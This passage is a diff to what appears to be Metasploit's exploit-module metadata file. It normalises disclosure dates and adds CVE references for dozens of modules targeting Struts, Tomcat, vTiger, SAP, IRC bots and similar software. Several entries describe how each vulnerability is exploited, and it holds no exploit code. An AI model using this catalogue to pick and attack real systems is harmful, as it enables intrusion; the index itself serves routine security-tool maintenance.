"author": [ "Jay Turla <@shipcod3>" @@ -42659,7 +40597,7 @@ "name": "Support Incident Tracker Remote Command Execution", "full_name": "exploit/multi/http/sit_file_upload", "rank": 600, - "disclosure_date": "2011-11-10 00:00:00 -0600", + "disclosure_date": "2011-11-10", "type": "exploit", "author": [ "Secunia Research", @@ -42691,7 +40629,7 @@ "name": "Snortreport nmap.php/nbtscan.php Remote Command Execution", "full_name": "exploit/multi/http/snortreport_exec", "rank": 600, - "disclosure_date": "2011-09-19 00:00:00 -0500", + "disclosure_date": "2011-09-19", "type": "exploit", "author": [ "Paul Rascagneres" @@ -42718,7 +40656,7 @@ "name": "SolarWinds Storage Manager Authentication Bypass", "full_name": "exploit/multi/http/solarwinds_store_manager_auth_filter", "rank": 600, - "disclosure_date": "2014-08-19 00:00:00 -0500", + "disclosure_date": "2014-08-19", "type": "exploit", "author": [ "rgod ", @@ -42726,6 +40664,7 @@ ], "description": "This module exploits an authentication bypass vulnerability in Solarwinds Storage Manager.\n The vulnerability exists in the AuthenticationFilter, which allows to bypass authentication\n with specially crafted URLs. After bypassing authentication, is possible to use a file\n upload function to achieve remote code execution. This module has been tested successfully\n in Solarwinds Store Manager Server 5.1.0 and 5.7.1 on Windows 32 bits, Windows 64 bits and\n Linux 64 bits operating systems.", "references": [ + "CVE-2015-5371", "ZDI-14-299" ], "is_server": true, @@ -42745,7 +40684,7 @@ "name": "SonicWALL GMS 6 Arbitrary File Upload", "full_name": "exploit/multi/http/sonicwall_gms_upload", "rank": 600, - "disclosure_date": "2012-01-17 00:00:00 -0600", + "disclosure_date": "2012-01-17", "type": "exploit", "author": [ "Nikolas Sotiriu", @@ -42778,7 +40717,7 @@ "name": "Dell SonicWALL Scrutinizer 11.01 methodDetail SQL Injection", "full_name": "exploit/multi/http/sonicwall_scrutinizer_methoddetail_sqli", "rank": 600, - "disclosure_date": "2014-07-24 00:00:00 -0500", + "disclosure_date": "2014-07-24", "type": "exploit", "author": [ "bperry", @@ -42810,7 +40749,7 @@ "name": "Splunk Search Remote Code Execution", "full_name": "exploit/multi/http/splunk_mappy_exec", "rank": 600, - "disclosure_date": "2011-12-12 00:00:00 -0600", + "disclosure_date": "2011-12-12", "type": "exploit", "author": [ "Gary O'Leary-Steele", @@ -42841,7 +40780,7 @@ "name": "Splunk Custom App Remote Code Execution", "full_name": "exploit/multi/http/splunk_upload_app_exec", "rank": 400, - "disclosure_date": "2012-09-27 00:00:00 -0500", + "disclosure_date": "2012-09-27", "type": "exploit", "author": [ "marcwickenden", @@ -42874,7 +40813,7 @@ "name": "Spreecommerce 0.60.1 Arbitrary Command Execution", "full_name": "exploit/multi/http/spree_search_exec", "rank": 600, - "disclosure_date": "2011-10-05 00:00:00 -0500", + "disclosure_date": "2011-10-05", "type": "exploit", "author": [ "joernchen " @@ -42901,7 +40840,7 @@ "name": "Spreecommerce Arbitrary Command Execution", "full_name": "exploit/multi/http/spree_searchlogic_exec", "rank": 600, - "disclosure_date": "2011-04-19 00:00:00 -0500", + "disclosure_date": "2011-04-19", "type": "exploit", "author": [ "joernchen " @@ -42928,7 +40867,7 @@ "name": "Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution", "full_name": "exploit/multi/http/struts2_code_exec_showcase", "rank": 600, - "disclosure_date": "2017-07-07 00:00:00 -0500", + "disclosure_date": "2017-07-07", "type": "exploit", "author": [ "icez ", @@ -42959,7 +40898,7 @@ "name": "Apache Struts Jakarta Multipart Parser OGNL Injection", "full_name": "exploit/multi/http/struts2_content_type_ognl", "rank": 600, - "disclosure_date": "2017-03-07 00:00:00 -0600", + "disclosure_date": "2017-03-07", "type": "exploit", "author": [ "Nike.Zheng", @@ -42990,7 +40929,7 @@ "name": "Apache Struts 2 REST Plugin XStream RCE", "full_name": "exploit/multi/http/struts2_rest_xstream", "rank": 600, - "disclosure_date": "2017-09-05 00:00:00 -0500", + "disclosure_date": "2017-09-05", "type": "exploit", "author": [ "Man Yue Mo", @@ -43023,7 +40962,7 @@ "name": "Apache Struts Remote Command Execution", "full_name": "exploit/multi/http/struts_code_exec", "rank": 400, - "disclosure_date": "2010-07-13 00:00:00 -0500", + "disclosure_date": "2010-07-13", "type": "exploit", "author": [ "bannedit ", @@ -43053,7 +40992,7 @@ "name": "Apache Struts ClassLoader Manipulation Remote Code Execution", "full_name": "exploit/multi/http/struts_code_exec_classloader", "rank": 0, - "disclosure_date": "2014-03-06 00:00:00 -0600", + "disclosure_date": "2014-03-06", "type": "exploit", "author": [ "Mark Thomas", @@ -43091,7 +41030,7 @@ "name": "Apache Struts Remote Command Execution", "full_name": "exploit/multi/http/struts_code_exec_exception_delegator", "rank": 600, - "disclosure_date": "2012-01-06 00:00:00 -0600", + "disclosure_date": "2012-01-06", "type": "exploit", "author": [ "Johannes Dahse", @@ -43125,7 +41064,7 @@ "name": "Apache Struts ParametersInterceptor Remote Code Execution", "full_name": "exploit/multi/http/struts_code_exec_parameters", "rank": 600, - "disclosure_date": "2011-10-01 00:00:00 -0500", + "disclosure_date": "2011-10-01", "type": "exploit", "author": [ "Meder Kydyraliev", @@ -43159,7 +41098,7 @@ "name": "Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution", "full_name": "exploit/multi/http/struts_default_action_mapper", "rank": 600, - "disclosure_date": "2013-07-02 00:00:00 -0500", + "disclosure_date": "2013-07-02", "type": "exploit", "author": [ "Takeshi Terada", @@ -43192,7 +41131,7 @@ "name": "Apache Struts 2 Developer Mode OGNL Execution", "full_name": "exploit/multi/http/struts_dev_mode", "rank": 600, - "disclosure_date": "2012-01-06 00:00:00 -0600", + "disclosure_date": "2012-01-06", "type": "exploit", "author": [ "Johannes Dahse", @@ -43224,7 +41163,7 @@ "name": "Apache Struts Dynamic Method Invocation Remote Code Execution", "full_name": "exploit/multi/http/struts_dmi_exec", "rank": 600, - "disclosure_date": "2016-04-27 00:00:00 -0500", + "disclosure_date": "2016-04-27", "type": "exploit", "author": [ "Nixawk", @@ -43254,7 +41193,7 @@ "name": "Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution", "full_name": "exploit/multi/http/struts_dmi_rest_exec", "rank": 600, - "disclosure_date": "2016-06-01 00:00:00 -0500", + "disclosure_date": "2016-06-01", "type": "exploit", "author": [ "Nixawk" @@ -43283,7 +41222,7 @@ "name": "Apache Struts includeParams Remote Code Execution", "full_name": "exploit/multi/http/struts_include_params", "rank": 500, - "disclosure_date": "2013-05-24 00:00:00 -0500", + "disclosure_date": "2013-05-24", "type": "exploit", "author": [ "Eric Kobrin", @@ -43317,7 +41256,7 @@ "name": "STUNSHELL Web Shell Remote PHP Code Execution", "full_name": "exploit/multi/http/stunshell_eval", "rank": 500, - "disclosure_date": "2013-03-23 00:00:00 -0500", + "disclosure_date": "2013-03-23", "type": "exploit", "author": [ "bwall " @@ -43345,7 +41284,7 @@ "name": "STUNSHELL Web Shell Remote Code Execution", "full_name": "exploit/multi/http/stunshell_exec", "rank": 500, - "disclosure_date": "2013-03-23 00:00:00 -0500", + "disclosure_date": "2013-03-23", "type": "exploit", "author": [ "bwall " @@ -43374,7 +41313,7 @@ "name": "Sun Java System Web Server WebDAV OPTIONS Buffer Overflow", "full_name": "exploit/multi/http/sun_jsws_dav_options", "rank": 500, - "disclosure_date": "2010-01-20 00:00:00 -0600", + "disclosure_date": "2010-01-20", "type": "exploit", "author": [ "jduck " @@ -43402,7 +41341,7 @@ "name": "SysAid Help Desk Administrator Portal Arbitrary File Upload", "full_name": "exploit/multi/http/sysaid_auth_file_upload", "rank": 600, - "disclosure_date": "2015-06-03 00:00:00 -0500", + "disclosure_date": "2015-06-03", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -43431,7 +41370,7 @@ "name": "SysAid Help Desk 'rdslogs' Arbitrary File Upload", "full_name": "exploit/multi/http/sysaid_rdslogs_file_upload", "rank": 600, - "disclosure_date": "2015-06-03 00:00:00 -0500", + "disclosure_date": "2015-06-03", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -43458,13 +41397,14 @@ "name": "TestLink v1.9.3 Arbitrary File Upload Vulnerability", "full_name": "exploit/multi/http/testlink_upload_exec", "rank": 600, - "disclosure_date": "2012-08-13 00:00:00 -0500", + "disclosure_date": "2012-08-13", "type": "exploit", "author": [ "Brendan Coles " ], "description": "This module exploits a vulnerability in TestLink version 1.9.3 or prior.\n This application has an upload feature that allows any authenticated\n user to upload arbitrary files to the '/upload_area/nodes_hierarchy/'\n directory with a randomized file name. The file name can be retrieved from\n the database using SQL injection.", "references": [ + "CVE-2012-0938", "OSVDB-85446", "EDB-20500", "URL-http://itsecuritysolutions.org/2012-08-13-TestLink-1.9.3-multiple-vulnerabilities/" @@ -43486,7 +41426,7 @@ "name": "Tomcat RCE via JSP Upload Bypass", "full_name": "exploit/multi/http/tomcat_jsp_upload_bypass", "rank": 600, - "disclosure_date": "2017-10-03 00:00:00 -0500", + "disclosure_date": "2017-10-03", "type": "exploit", "author": [ "peewpw" @@ -43516,7 +41456,7 @@ "name": "Apache Tomcat Manager Application Deployer Authenticated Code Execution", "full_name": "exploit/multi/http/tomcat_mgr_deploy", "rank": 600, - "disclosure_date": "2009-11-09 00:00:00 -0600", + "disclosure_date": "2009-11-09", "type": "exploit", "author": [ "jduck " @@ -43558,7 +41498,7 @@ "name": "Apache Tomcat Manager Authenticated Upload Code Execution", "full_name": "exploit/multi/http/tomcat_mgr_upload", "rank": 600, - "disclosure_date": "2009-11-09 00:00:00 -0600", + "disclosure_date": "2009-11-09", "type": "exploit", "author": [ "rangercha" @@ -43599,7 +41539,7 @@ "name": "Traq admincp/common.php Remote Code Execution", "full_name": "exploit/multi/http/traq_plugin_exec", "rank": 600, - "disclosure_date": "2011-12-12 00:00:00 -0600", + "disclosure_date": "2011-12-12", "type": "exploit", "author": [ "EgiX", @@ -43628,7 +41568,7 @@ "name": "Trend Micro Threat Discovery Appliance admin_sys_time.cgi Remote Command Execution", "full_name": "exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi", "rank": 600, - "disclosure_date": "2017-04-10 00:00:00 -0500", + "disclosure_date": "2017-04-10", "type": "exploit", "author": [ "mr_me ", @@ -43657,7 +41597,7 @@ "name": "Idera Up.Time Monitoring Station 7.0 post2file.php Arbitrary File Upload", "full_name": "exploit/multi/http/uptime_file_upload_1", "rank": 600, - "disclosure_date": "2013-11-19 00:00:00 -0600", + "disclosure_date": "2013-11-19", "type": "exploit", "author": [ "Denis Andzakovic " @@ -43685,7 +41625,7 @@ "name": "Idera Up.Time Monitoring Station 7.4 post2file.php Arbitrary File Upload", "full_name": "exploit/multi/http/uptime_file_upload_2", "rank": 600, - "disclosure_date": "2013-11-18 00:00:00 -0600", + "disclosure_date": "2013-11-18", "type": "exploit", "author": [ "Denis Andzakovic", @@ -43714,7 +41654,7 @@ "name": "v0pCr3w Web Shell Remote Code Execution", "full_name": "exploit/multi/http/v0pcr3w_exec", "rank": 500, - "disclosure_date": "2013-03-23 00:00:00 -0500", + "disclosure_date": "2013-03-23", "type": "exploit", "author": [ "bwall " @@ -43743,13 +41683,14 @@ "name": "vBSEO proc_deutf() Remote PHP Code Injection", "full_name": "exploit/multi/http/vbseo_proc_deutf", "rank": 600, - "disclosure_date": "2012-01-23 00:00:00 -0600", + "disclosure_date": "2012-01-23", "type": "exploit", "author": [ "EgiX " ], "description": "This module exploits a vulnerability in the 'proc_deutf()' function\n defined in /includes/functions_vbseocp_abstract.php for vBSEO versions\n 3.6.0 and earlier. User input passed through 'char_repl' POST parameter\n isn't properly sanitized before being used in a call to preg_replace()\n function which uses the 'e' modifier. This can be exploited to inject\n and execute arbitrary code leveraging the PHP's complex curly syntax.", "references": [ + "CVE-2012-5223", "OSVDB-78508", "BID-51647", "EDB-18424" @@ -43771,7 +41712,7 @@ "name": "vBulletin 5.1.2 Unserialize Code Execution", "full_name": "exploit/multi/http/vbulletin_unserialize", "rank": 600, - "disclosure_date": "2015-11-04 00:00:00 -0600", + "disclosure_date": "2015-11-04", "type": "exploit", "author": [ "Netanel Rubin", @@ -43804,7 +41745,7 @@ "name": "Visual Mining NetCharts Server Remote Code Execution", "full_name": "exploit/multi/http/visual_mining_netcharts_upload", "rank": 600, - "disclosure_date": "2014-11-03 00:00:00 -0600", + "disclosure_date": "2014-11-03", "type": "exploit", "author": [ "sghctoma", @@ -43832,7 +41773,7 @@ "name": "Vtiger Install Unauthenticated Remote Command Execution", "full_name": "exploit/multi/http/vtiger_install_rce", "rank": 0, - "disclosure_date": "2014-03-05 00:00:00 -0600", + "disclosure_date": "2014-03-05", "type": "exploit", "author": [ "Jonathan Borgeaud < research@navixia.com >" @@ -43860,7 +41801,7 @@ "name": "vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution", "full_name": "exploit/multi/http/vtiger_php_exec", "rank": 600, - "disclosure_date": "2013-10-30 00:00:00 -0500", + "disclosure_date": "2013-10-30", "type": "exploit", "author": [ "Brandon Perry " @@ -43887,7 +41828,7 @@ "name": "vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload", "full_name": "exploit/multi/http/vtiger_soap_upload", "rank": 600, - "disclosure_date": "2013-03-26 00:00:00 -0500", + "disclosure_date": "2013-03-26", "type": "exploit", "author": [ "Egidio Romano", @@ -43922,7 +41863,7 @@ "name": "WebNMS Framework Server Arbitrary File Upload", "full_name": "exploit/multi/http/webnms_file_upload", "rank": 600, - "disclosure_date": "2016-07-04 00:00:00 -0500", + "disclosure_date": "2016-07-04", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -43952,7 +41893,7 @@ "name": "WebPageTest Arbitrary PHP File Upload", "full_name": "exploit/multi/http/webpagetest_upload_exec", "rank": 600, - "disclosure_date": "2012-07-13 00:00:00 -0500", + "disclosure_date": "2012-07-13", "type": "exploit", "author": [ "dun", @@ -43980,7 +41921,7 @@ "name": "Werkzeug Debug Shell Command Execution", "full_name": "exploit/multi/http/werkzeug_debug_rce", "rank": 600, - "disclosure_date": "2015-06-28 00:00:00 -0500", + "disclosure_date": "2015-06-28", "type": "exploit", "author": [ "h00die " @@ -44006,7 +41947,7 @@ "name": "WikkaWiki 1.3.2 Spam Logging PHP Injection", "full_name": "exploit/multi/http/wikka_spam_exec", "rank": 600, - "disclosure_date": "2011-11-30 00:00:00 -0600", + "disclosure_date": "2011-11-30", "type": "exploit", "author": [ "EgiX", @@ -44035,7 +41976,7 @@ "name": "WordPress Ninja Forms Unauthenticated File Upload", "full_name": "exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload", "rank": 600, - "disclosure_date": "2016-05-04 00:00:00 -0500", + "disclosure_date": "2016-05-04", "type": "exploit", "author": [ "James Golovich", @@ -44064,7 +42005,7 @@ "name": "X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution", "full_name": "exploit/multi/http/x7chat2_php_exec", "rank": 600, - "disclosure_date": "2014-10-27 00:00:00 -0500", + "disclosure_date": "2014-10-27", "type": "exploit", "author": [ "Fernando Munoz ", @@ -44072,6 +42013,8 @@ ], "description": "This module exploits a post-auth vulnerability found in X7 Chat versions\n 2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which\n uses preg_replace() function with the /e modifier. This allows a remote\n authenticated attacker to execute arbitrary PHP code in the remote machine.", "references": [ + "BID-71014", + "CVE-2014-8998", "URL-https://github.com/rapid7/metasploit-framework/pull/4076" ], "is_server": true, @@ -44091,7 +42034,7 @@ "name": "Zabbix Authenticated Remote Command Execution", "full_name": "exploit/multi/http/zabbix_script_exec", "rank": 600, - "disclosure_date": "2013-10-30 00:00:00 -0500", + "disclosure_date": "2013-10-30", "type": "exploit", "author": [ "Brandon Perry " @@ -44118,7 +42061,7 @@ "name": "Zemra Botnet CnC Web Panel Remote Code Execution", "full_name": "exploit/multi/http/zemra_panel_rce", "rank": 600, - "disclosure_date": "2012-06-28 00:00:00 -0500", + "disclosure_date": "2012-06-28", "type": "exploit", "author": [ "Jay Turla <@shipcod3>", @@ -44149,7 +42092,7 @@ "name": "Novell ZENworks Configuration Management Arbitrary File Upload", "full_name": "exploit/multi/http/zenworks_configuration_management_upload", "rank": 600, - "disclosure_date": "2015-04-07 00:00:00 -0500", + "disclosure_date": "2015-04-07", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -44177,7 +42120,7 @@ "name": "Novell ZENworks Configuration Management Remote Execution", "full_name": "exploit/multi/http/zenworks_control_center_upload", "rank": 500, - "disclosure_date": "2013-03-22 00:00:00 -0500", + "disclosure_date": "2013-03-22", "type": "exploit", "author": [ "James Burton", @@ -44209,7 +42152,7 @@ "name": "Zpanel Remote Unauthenticated RCE", "full_name": "exploit/multi/http/zpanel_information_disclosure_rce", "rank": 600, - "disclosure_date": "2014-01-30 00:00:00 -0600", + "disclosure_date": "2014-01-30", "type": "exploit", "author": [ "Balazs Makany", @@ -44244,7 +42187,7 @@ "name": "Snort 2 DCE/RPC Preprocessor Buffer Overflow", "full_name": "exploit/multi/ids/snort_dce_rpc", "rank": 400, - "disclosure_date": "2007-02-19 00:00:00 -0600", + "disclosure_date": "2007-02-19", "type": "exploit", "author": [ "Neel Mehta", @@ -44278,7 +42221,7 @@ "name": "Allwinner 3.4 Legacy Kernel Local Privilege Escalation", "full_name": "exploit/multi/local/allwinner_backdoor", "rank": 600, - "disclosure_date": "2016-04-30 00:00:00 -0500", + "disclosure_date": "2016-04-30", "type": "exploit", "author": [ "h00die ", @@ -44308,7 +42251,7 @@ "name": "MagniComp SysInfo mcsiwrapper Privilege Escalation", "full_name": "exploit/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc", "rank": 600, - "disclosure_date": "2016-09-23 00:00:00 -0500", + "disclosure_date": "2016-09-23", "type": "exploit", "author": [ "Daniel Lawson", @@ -44342,7 +42285,7 @@ "name": "Western Digital Arkeia Remote Code Execution", "full_name": "exploit/multi/misc/arkeia_agent_exec", "rank": 500, - "disclosure_date": "2015-07-10 00:00:00 -0500", + "disclosure_date": "2015-07-10", "type": "exploit", "author": [ "xistence " @@ -44371,7 +42314,7 @@ "name": "Squiggle 1.7 SVG Browser Java Code Execution", "full_name": "exploit/multi/misc/batik_svg_java", "rank": 600, - "disclosure_date": "2012-05-11 00:00:00 -0500", + "disclosure_date": "2012-05-11", "type": "exploit", "author": [ "Nicolas Gregoire", @@ -44402,7 +42345,7 @@ "name": "BMC Server Automation RSCD Agent NSH Remote Command Execution", "full_name": "exploit/multi/misc/bmc_server_automation_rscd_nsh_rce", "rank": 600, - "disclosure_date": "2016-03-16 00:00:00 -0500", + "disclosure_date": "2016-03-16", "type": "exploit", "author": [ "Olga Yanushkevich, ERNW <@yaole0>", @@ -44436,7 +42379,7 @@ "name": "HP Data Protector EXEC_INTEGUTIL Remote Code Execution", "full_name": "exploit/multi/misc/hp_data_protector_exec_integutil", "rank": 500, - "disclosure_date": "2014-10-02 00:00:00 -0500", + "disclosure_date": "2014-10-02", "type": "exploit", "author": [ "Aniway.Anyway ", @@ -44464,7 +42407,7 @@ "name": "HP StorageWorks P4000 Virtual SAN Appliance Command Execution", "full_name": "exploit/multi/misc/hp_vsa_exec", "rank": 600, - "disclosure_date": "2011-11-11 00:00:00 -0600", + "disclosure_date": "2011-11-11", "type": "exploit", "author": [ "Nicolas Gregoire", @@ -44498,7 +42441,7 @@ "name": "Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution", "full_name": "exploit/multi/misc/indesign_server_soap", "rank": 600, - "disclosure_date": "2012-11-11 00:00:00 -0600", + "disclosure_date": "2012-11-11", "type": "exploit", "author": [ "h0ng10", @@ -44527,7 +42470,7 @@ "name": "Java Debug Wire Protocol Remote Code Execution", "full_name": "exploit/multi/misc/java_jdwp_debugger", "rank": 400, - "disclosure_date": "2010-03-12 00:00:00 -0600", + "disclosure_date": "2010-03-12", "type": "exploit", "author": [ "Michael Schierl", @@ -44563,7 +42506,7 @@ "name": "Java JMX Server Insecure Configuration Java Code Execution", "full_name": "exploit/multi/misc/java_jmx_server", "rank": 600, - "disclosure_date": "2013-05-22 00:00:00 -0500", + "disclosure_date": "2013-05-22", "type": "exploit", "author": [ "Braden Thomas", @@ -44592,7 +42535,7 @@ "name": "Java RMI Server Insecure Default Configuration Java Code Execution", "full_name": "exploit/multi/misc/java_rmi_server", "rank": 600, - "disclosure_date": "2011-10-15 00:00:00 -0500", + "disclosure_date": "2011-10-15", "type": "exploit", "author": [ "mihi" @@ -44624,7 +42567,7 @@ "name": "Legend Perl IRC Bot Remote Code Execution", "full_name": "exploit/multi/misc/legend_bot_exec", "rank": 600, - "disclosure_date": "2015-04-27 00:00:00 -0500", + "disclosure_date": "2015-04-27", "type": "exploit", "author": [ "Jay Turla" @@ -44653,7 +42596,7 @@ "name": "Metasploit RPC Console Command Execution", "full_name": "exploit/multi/misc/msf_rpc_console", "rank": 600, - "disclosure_date": "2011-05-22 00:00:00 -0500", + "disclosure_date": "2011-05-22", "type": "exploit", "author": [ "Brendan Coles " @@ -44682,7 +42625,7 @@ "name": "Metasploit msfd Remote Code Execution", "full_name": "exploit/multi/misc/msfd_rce_remote", "rank": 600, - "disclosure_date": "2018-04-11 00:00:00 -0500", + "disclosure_date": "2018-04-11", "type": "exploit", "author": [ "Robin Stenvi " @@ -44708,7 +42651,7 @@ "name": "NodeJS Debugger Command Injection", "full_name": "exploit/multi/misc/nodejs_v8_debugger", "rank": 600, - "disclosure_date": "2016-08-15 00:00:00 -0500", + "disclosure_date": "2016-08-15", "type": "exploit", "author": [ "Patrick Thomas " @@ -44735,7 +42678,7 @@ "name": "Apache OpenOffice Text Document Malicious Macro Execution", "full_name": "exploit/multi/misc/openoffice_document_macro", "rank": 600, - "disclosure_date": "2017-02-08 00:00:00 -0600", + "disclosure_date": "2017-02-08", "type": "exploit", "author": [ "sinn3r " @@ -44762,7 +42705,7 @@ "name": "HP OpenView OmniBack II Command Execution", "full_name": "exploit/multi/misc/openview_omniback_exec", "rank": 600, - "disclosure_date": "2001-02-28 00:00:00 -0600", + "disclosure_date": "2001-02-28", "type": "exploit", "author": [ "hdm ", @@ -44793,7 +42736,7 @@ "name": "Eclipse Equinoxe OSGi Console Command Execution", "full_name": "exploit/multi/misc/osgi_console_exec", "rank": 300, - "disclosure_date": "2018-02-13 00:00:00 -0600", + "disclosure_date": "2018-02-13", "type": "exploit", "author": [ "Quentin Kaiser " @@ -44820,7 +42763,7 @@ "name": "PHP IRC Bot pbot eval() Remote Code Execution", "full_name": "exploit/multi/misc/pbot_exec", "rank": 600, - "disclosure_date": "2009-11-02 00:00:00 -0600", + "disclosure_date": "2009-11-02", "type": "exploit", "author": [ "evilcry", @@ -44851,7 +42794,7 @@ "name": "HP Client Automation Command Injection", "full_name": "exploit/multi/misc/persistent_hpca_radexec_exec", "rank": 500, - "disclosure_date": "2014-01-02 00:00:00 -0600", + "disclosure_date": "2014-01-02", "type": "exploit", "author": [ "Ben Turner", @@ -44881,7 +42824,7 @@ "name": "Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution", "full_name": "exploit/multi/misc/ra1nx_pubcall_exec", "rank": 500, - "disclosure_date": "2013-03-24 00:00:00 -0500", + "disclosure_date": "2013-03-24", "type": "exploit", "author": [ "bwall " @@ -44911,7 +42854,7 @@ "name": "VERITAS NetBackup Remote Command Execution", "full_name": "exploit/multi/misc/veritas_netbackup_cmdexec", "rank": 600, - "disclosure_date": "2004-10-21 00:00:00 -0500", + "disclosure_date": "2004-10-21", "type": "exploit", "author": [ "aushack " @@ -44939,7 +42882,7 @@ "name": "w3tw0rk / Pitbul IRC Bot Remote Code Execution", "full_name": "exploit/multi/misc/w3tw0rk_exec", "rank": 600, - "disclosure_date": "2015-06-04 00:00:00 -0500", + "disclosure_date": "2015-06-04", "type": "exploit", "author": [ "Jay Turla" @@ -44966,7 +42909,7 @@ "name": "Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow", "full_name": "exploit/multi/misc/wireshark_lwres_getaddrbyname", "rank": 500, - "disclosure_date": "2010-01-27 00:00:00 -0600", + "disclosure_date": "2010-01-27", "type": "exploit", "author": [ "babi", @@ -45003,7 +42946,7 @@ "name": "Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)", "full_name": "exploit/multi/misc/wireshark_lwres_getaddrbyname_loop", "rank": 500, - "disclosure_date": "2010-01-27 00:00:00 -0600", + "disclosure_date": "2010-01-27", "type": "exploit", "author": [ "babi", @@ -45039,7 +42982,7 @@ "name": "Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution", "full_name": "exploit/multi/misc/xdh_x_exec", "rank": 600, - "disclosure_date": "2015-12-04 00:00:00 -0600", + "disclosure_date": "2015-12-04", "type": "exploit", "author": [ "Jay Turla", @@ -45069,7 +43012,7 @@ "name": "Zend Server Java Bridge Arbitrary Java Code Execution", "full_name": "exploit/multi/misc/zend_java_bridge", "rank": 500, - "disclosure_date": "2011-03-28 00:00:00 -0500", + "disclosure_date": "2011-03-28", "type": "exploit", "author": [ "bannedit " @@ -45098,7 +43041,7 @@ "name": "Oracle MySQL UDF Payload Execution", "full_name": "exploit/multi/mysql/mysql_udf_payload", "rank": 600, - "disclosure_date": "2009-01-16 00:00:00 -0600", + "disclosure_date": "2009-01-16", "type": "exploit", "author": [ "Bernardo Damele A. G. ", @@ -45127,7 +43070,7 @@ "name": "NTP Daemon readvar Buffer Overflow", "full_name": "exploit/multi/ntp/ntp_overflow", "rank": 400, - "disclosure_date": "2001-04-04 00:00:00 -0500", + "disclosure_date": "2001-04-04", "type": "exploit", "author": [ "aushack " @@ -45159,7 +43102,7 @@ "name": "PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)", "full_name": "exploit/multi/php/php_unserialize_zval_cookie", "rank": 200, - "disclosure_date": "2007-03-04 00:00:00 -0600", + "disclosure_date": "2007-03-04", "type": "exploit", "author": [ "hdm ", @@ -45198,7 +43141,7 @@ "name": "PostgreSQL CREATE LANGUAGE Execution", "full_name": "exploit/multi/postgres/postgres_createlang", "rank": 400, - "disclosure_date": "2016-01-01 00:00:00 -0600", + "disclosure_date": "2016-01-01", "type": "exploit", "author": [ "Micheal Cottingham", @@ -45228,7 +43171,7 @@ "name": "RealServer Describe Buffer Overflow", "full_name": "exploit/multi/realserver/describe", "rank": 500, - "disclosure_date": "2002-12-20 00:00:00 -0600", + "disclosure_date": "2002-12-20", "type": "exploit", "author": [ "hdm " @@ -45255,7 +43198,7 @@ "name": "Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow", "full_name": "exploit/multi/samba/nttrans", "rank": 200, - "disclosure_date": "2003-04-07 00:00:00 -0500", + "disclosure_date": "2003-04-07", "type": "exploit", "author": [ "hdm " @@ -45284,7 +43227,7 @@ "name": "Samba \"username map script\" Command Execution", "full_name": "exploit/multi/samba/usermap_script", "rank": 600, - "disclosure_date": "2007-05-14 00:00:00 -0500", + "disclosure_date": "2007-05-14", "type": "exploit", "author": [ "jduck " @@ -45314,7 +43257,7 @@ "name": "SAP Management Console OSExecute Payload Execution", "full_name": "exploit/multi/sap/sap_mgmt_con_osexec_payload", "rank": 600, - "disclosure_date": "2011-03-08 00:00:00 -0600", + "disclosure_date": "2011-03-08", "type": "exploit", "author": [ "Chris John Riley", @@ -45342,7 +43285,7 @@ "name": "SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution", "full_name": "exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec", "rank": 500, - "disclosure_date": "2013-03-26 00:00:00 -0500", + "disclosure_date": "2013-03-26", "type": "exploit", "author": [ "nmonkee" @@ -45370,7 +43313,7 @@ "name": "SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution", "full_name": "exploit/multi/sap/sap_soap_rfc_sxpg_command_exec", "rank": 500, - "disclosure_date": "2012-05-08 00:00:00 -0500", + "disclosure_date": "2012-05-08", "type": "exploit", "author": [ "nmonkee" @@ -45399,7 +43342,7 @@ "name": "Script Web Delivery", "full_name": "exploit/multi/script/web_delivery", "rank": 0, - "disclosure_date": "2013-07-19 00:00:00 -0500", + "disclosure_date": "2013-07-19", "type": "exploit", "author": [ "Andrew Smith \"jakx\" ", @@ -45438,7 +43381,7 @@ "name": "SSH User Code Execution", "full_name": "exploit/multi/ssh/sshexec", "rank": 0, - "disclosure_date": "1999-01-01 00:00:00 -0600", + "disclosure_date": "1999-01-01", "type": "exploit", "author": [ "Spencer McIntyre", @@ -45473,7 +43416,7 @@ "name": "Subversion Date Svnserve", "full_name": "exploit/multi/svn/svnserve_date", "rank": 200, - "disclosure_date": "2004-05-19 00:00:00 -0500", + "disclosure_date": "2004-05-19", "type": "exploit", "author": [ "spoonm " @@ -45504,7 +43447,7 @@ "name": "Portable UPnP SDK unique_service_name() Remote Code Execution", "full_name": "exploit/multi/upnp/libupnp_ssdp_overflow", "rank": 300, - "disclosure_date": "2013-01-29 00:00:00 -0600", + "disclosure_date": "2013-01-29", "type": "exploit", "author": [ "hdm ", @@ -45539,7 +43482,7 @@ "name": "VNC Keyboard Remote Code Execution", "full_name": "exploit/multi/vnc/vnc_keyboard_exec", "rank": 500, - "disclosure_date": "2015-07-10 00:00:00 -0500", + "disclosure_date": "2015-07-10", "type": "exploit", "author": [ "xistence " @@ -45567,7 +43510,7 @@ "name": "Tincd Post-Authentication Remote TCP Stack Buffer Overflow", "full_name": "exploit/multi/vpn/tincd_bof", "rank": 200, - "disclosure_date": "2013-04-22 00:00:00 -0500", + "disclosure_date": "2013-04-22", "type": "exploit", "author": [ "Tobias Ospelt ", @@ -45610,7 +43553,7 @@ "name": "Wyse Rapport Hagent Fake Hserver Command Execution", "full_name": "exploit/multi/wyse/hagent_untrusted_hsdata", "rank": 600, - "disclosure_date": "2009-07-10 00:00:00 -0500", + 